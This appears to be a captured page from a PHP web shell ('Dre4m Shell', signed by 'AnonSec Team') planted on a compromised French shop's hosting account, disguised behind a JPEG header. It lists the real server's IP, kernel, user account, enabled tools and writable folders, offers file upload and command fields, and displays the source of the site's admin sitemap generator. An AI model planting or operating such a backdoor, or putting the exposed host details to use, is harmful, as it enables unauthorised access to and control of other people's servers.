ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/ODLDDD_2/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/ODLDDD_2/cp-admin//xml.php
<?php
include_once('includes/header.php');
$id_volet ="59";
include('includes/volet.php');
/****************************/

 $date_us = date('Y-m-d');
 $gen = $_GET['gen'];

$sql = $bdd->query('SELECT * FROM info
  WHERE id = 1');
  $list = $sql->fetchAll();
  for($i=0; $i<count($list); $i++) {
        $url = $list[$i]['url'];
}

$urll = "".$url;
?>

<div class="container">
    <div class="row">
      <div class="span12">
          <div class="page-header">
              <h1>Plan Google XML</h1>
            </div>
        </div>
    </div>
    <div class="row">
        
        <div class="span12 settings">
	    <div class="form-horizontal">
			
                  <div class="pull-right">
                    <a href="xml.php?gen=1" class="btn btn-success" id="form"><i class="icon-plus"></i><b>&nbsp;&nbsp;G&eacute;n&eacute;rer le Plan</b></a>
                  </div>

<div style="margin-left : 150px;">
     <br /> 
     <br />       
 
<?php
if ($gen >0) {

echo'<h2>Le plan Google est bien en racine !</h2>';

echo'<br />';
echo'<b>Pour installer le plan la premi&egrave;re fois :</b> 

<br />
1- Connectez-vous sur Google webmaster dans exploration/Sitemaps : (https://www.google.com/webmasters/tools/) <br />
2- Envoyez le plan : sitemaps.xml<br />
3- Par la suite le plan se mettra &agrave; jour automatiquement.
';
echo'<br /><br /><br /><br />
     <br />     
     <b>Le contenu de votre plan XML est : </b><br />
';
}


if ($gen <1) {

echo'<h2>G&eacute;n&eacute;rateur sitemap</h2>';
 
echo'<br />
     Il est conseill&eacute; de mettre &agrave; jour ce XML r&eacute;guli&egrave;rement (1 fois par mois par exemple)
';
 
echo'<br />
     <br />     
     <b>Le contenu de votre plan XML sera : </b><br />
';

}



?>

<br />&lt;?xml version="1.0" encoding="UTF-8&quot;?&gt;
<br />&lt;urlset xmlns=&quot;http://www.google.com/schemas/sitemap/0.9&quot;&gt;
<div>





<?php
$comptp = 0;

echo'<br />';
echo'<br />';
echo'<b>PAGES CMS ------------------------------------------------</b>';
echo'<br />';
echo'<br />';

// PAGES cms



$sql = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['fixed_pages'] . " ORDER BY position");
  $list = $sql->fetchAll();
  for($i=0; $i<count($list); $i++) {
        $seo = $list[$i]['seo'];
    	$status = $list[$i]['status'];
if ($status >0){
$comptp = $comptp + 1;

echo'
&lt;url&gt;  <br />
&lt;loc&gt;'. $urll .'/'. $seo .'&lt;/loc&gt; <br /> 
&lt;lastmod&gt;'. $date_us .'&lt;/lastmod&gt; <br />
&lt;changefreq&gt;weekly&lt;/changefreq&gt; <br />
&lt;priority&gt;0.9&lt;/priority&gt; <br />
&lt;/url&gt; 
<br />';
  }
}


echo'<br />';
echo'<br />';
echo'<b>CATEGORIES -------------------------------------------</b>';
echo'<br />';
echo'<br />';

$sql = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['categories'] . " ORDER BY id");
  $list = $sql->fetchAll();
  for($i=0; $i<count($list); $i++) {
        $seo = $list[$i]['seo'];
    	$status = $list[$i]['status'];

if ($status >0){
$comptp = $comptp + 1;

echo'
&lt;url&gt;  <br />
&lt;loc&gt;'. $urll  .'/categorie-'. $seo .'&lt;/loc&gt; <br /> 
&lt;lastmod&gt;'. $date_us .'&lt;/lastmod&gt; <br />
&lt;changefreq&gt;weekly&lt;/changefreq&gt; <br />
&lt;priority&gt;0.9&lt;/priority&gt; <br />
&lt;/url&gt; 
<br />';

  }
}



echo'<br />';
echo'<br />';
echo'<b>PRODUITS-------------------------------------------</b>';
echo'<br />';
echo'<br />';

$sql = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['products'] . " ORDER BY id");
  $list = $sql->fetchAll();
  for($i=0; $i<count($list); $i++) {
        $seo = $list[$i]['seo'];
    	$status = $list[$i]['status'];

if ($status >0){
$comptp = $comptp + 1;

echo'
&lt;url&gt;  <br />
&lt;loc&gt;'. $urll  .'/produit-'. $seo .'&lt;/loc&gt; <br /> 
&lt;lastmod&gt;'. $date_us .'&lt;/lastmod&gt; <br />
&lt;changefreq&gt;weekly&lt;/changefreq&gt; <br />
&lt;priority&gt;0.9&lt;/priority&gt; <br />
&lt;/url&gt; 
<br />';

  }
}

echo'
&lt;/urlset&gt;';
?>
     <br />       
     <br />       
     <br />       
     <br />       
<?php echo'<font color="#CC3300" size="6">TOTAL : '.$comptp.' PAGES dont PRODUITS : '.$mod_compt.'</font>'; ?>
     <br />       
     <br />       
     <b>Cliquez sur le bouton [+ G&eacute;n&eacute;rer le Plan] pour l'exporter directement &agrave; la racine du site.</b> <br />
     <br />       
     <br />       
     <br />       
</div> 















<?php

if ($gen >0) {
//////////////////////////////////////////////////////////////////////////////////////////////////////////
// Ecrit le fichier XML
//////////////////////////////////////////////////////////////////////////////////////////////////////////

$fp=fopen("../sitemaps.xml", "w+"); //ouverture du fichier en mode eriture, cretion du fichier s'il n'existe pas






$code_1 ='<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.google.com/schemas/sitemap/0.9">
<url> 
<loc>' . $urll . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';



fwrite($fp,$code_1); // insert le code



// Pages cms
 $sql = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['fixed_pages'] . " ORDER BY position");
  $list = $sql->fetchAll();
  for($i=0; $i<count($list); $i++) {
        $seo = $list[$i]['seo'];
    	$status = $list[$i]['status'];
if ($status >0){

$code_2 ='
<url> 
<loc>' . $urll . '/' . $seo . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';

fwrite($fp,$code_2); // insert le code
  }
}




////////////////////////////////////////////////

// CAT
$sql = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['categories'] . " ORDER BY id");
  $list = $sql->fetchAll();
  for($i=0; $i<count($list); $i++) {
        $seo = $list[$i]['seo'];
    	$status = $list[$i]['status'];

if ($status >0){
$code_3 ='
<url> 
<loc>' . $urll .'/categorie-'. $seo . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
 
fwrite($fp,$code_3); // insert le code

 }
}



////////////////////////////////////////////////

//PRODUITS
$sql = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['products'] . " ORDER BY id");
  $list = $sql->fetchAll();
  for($i=0; $i<count($list); $i++) {
        $seo = $list[$i]['seo'];
    	$status = $list[$i]['status'];

if ($status >0){
$code_4 ='
<url> 
<loc>' . $urll .'/produit-'. $seo . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
 
fwrite($fp,$code_4); // insert le code

 }
}
 
fwrite($fp,$code_4); // insert le code
//////////////////////////////////////////////



$code_5 = '
</urlset>';

fwrite($fp,$code_5); // insert le code

////////////////////////////////////////////////////////////////////////////////////////////////////////// FIN

fclose($fp); 

//////////////////////////////////////////////////////////////////////////////////////////////////////////
}
?>
</div>
</div>

<?
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team